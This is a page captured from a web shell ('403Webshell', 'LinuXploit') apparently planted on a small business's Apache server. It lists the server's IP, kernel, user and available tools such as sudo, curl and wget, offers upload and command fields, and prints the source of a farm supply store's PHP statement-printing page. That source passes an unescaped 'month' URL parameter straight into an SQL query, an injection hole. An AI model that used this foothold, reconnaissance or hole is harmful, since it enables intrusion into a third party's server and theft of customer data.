403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/self-hosted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/self-hosted/print_all_statements.php
<?php include 'protect.php'; ?>

<?php
include 'db.php';
include 'store_settings.php';

$month = $_GET['month'] ?? date('Y-m');
$tax_rate = getStoreTaxRate($conn);

$customers = $conn->query("
    SELECT DISTINCT c.id, c.first_name, c.last_name
    FROM customers c
    JOIN (
        SELECT customer_id FROM transactions WHERE DATE_FORMAT(date,'%Y-%m') = '{$month}'
        UNION
        SELECT customer_id FROM archived_transactions WHERE DATE_FORMAT(archived_on,'%Y-%m') = '{$month}'
    ) t ON t.customer_id = c.id
    ORDER BY c.last_name, c.first_name
");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>All Statements - <?= date('F Y', strtotime("$month-01")) ?></title>
<style>
    body       { font-family: "Segoe UI", sans-serif; margin: 0; }
    .statement { padding: 32px; }

    @media print {
        .statement { page-break-after: always; break-after: page; }
    }

    table       { width: 100%; border-collapse: collapse; margin-top: 18px; }
    th, td      { border: 1px solid #ccc; padding: 8px; }
    th          { background:#f0f0f0; }
    h2, h3      { margin: 0 0 8px 0; }
</style>
</head>
<body>

<?php while ($cust = $customers->fetch_assoc()):
    $cid   = $cust['id'];
    $cname = $cust['first_name'] . ' ' . $cust['last_name'];

    if ($month === date('Y-m')) {
        $stmt = $conn->prepare("SELECT date AS txn_date, quantity, price, taxable, item_name
                                FROM transactions
                                WHERE customer_id = ? AND DATE_FORMAT(date,'%Y-%m') = ?");
    } else {
        $stmt = $conn->prepare("SELECT original_date AS txn_date, quantity, price, taxable, item_name
                                FROM archived_transactions
                                WHERE customer_id = ? AND DATE_FORMAT(archived_on,'%Y-%m') = ?");
    }
    $stmt->bind_param("is", $cid, $month);
    $stmt->execute();
    $rows = $stmt->get_result();

    $item_total = $tax_total = $grand_total = 0;
    $txn_rows   = [];
    while ($r = $rows->fetch_assoc()) {
        $line = $r['quantity'] * $r['price'];
        $tax  = $r['taxable'] ? $line * $tax_rate : 0;
        $item_total  += $line;
        $tax_total   += $tax;
        $grand_total += $line + $tax;
        $txn_rows[]   = [$r['txn_date'], $r['quantity'], $r['item_name'], $r['price'], $r['taxable'], $line + $tax];
    }

    if ($grand_total == 0) continue;
?>
<div class="statement">
    <h2>Wilson Creek Farm Supply</h2>
    <h3>Statement for <?= htmlspecialchars($cname) ?></h3>
    <p>Month: <strong><?= date('F Y', strtotime("$month-01")) ?></strong></p>

    <table>
        <tr>
            <th>Date</th><th>Qty</th><th>Item</th><th>Price</th><th>Tax?</th><th>Total</th>
        </tr>
        <?php foreach ($txn_rows as $r): ?>
        <tr>
            <td><?= $r[0] ?></td>
            <td><?= $r[1] ?></td>
            <td><?= htmlspecialchars($r[2]) ?></td>
            <td>$<?= number_format($r[3],2) ?></td>
            <td><?= $r[4] ? 'Yes' : 'No' ?></td>
            <td>$<?= number_format($r[5],2) ?></td>
        </tr>
        <?php endforeach; ?>
        <tr style="font-weight:bold;background:#fafafa">
            <td colspan="5" align="right">Total:</td>
            <td>$<?= number_format($grand_total,2) ?></td>
        </tr>
    </table>
</div>
<?php endwhile; ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit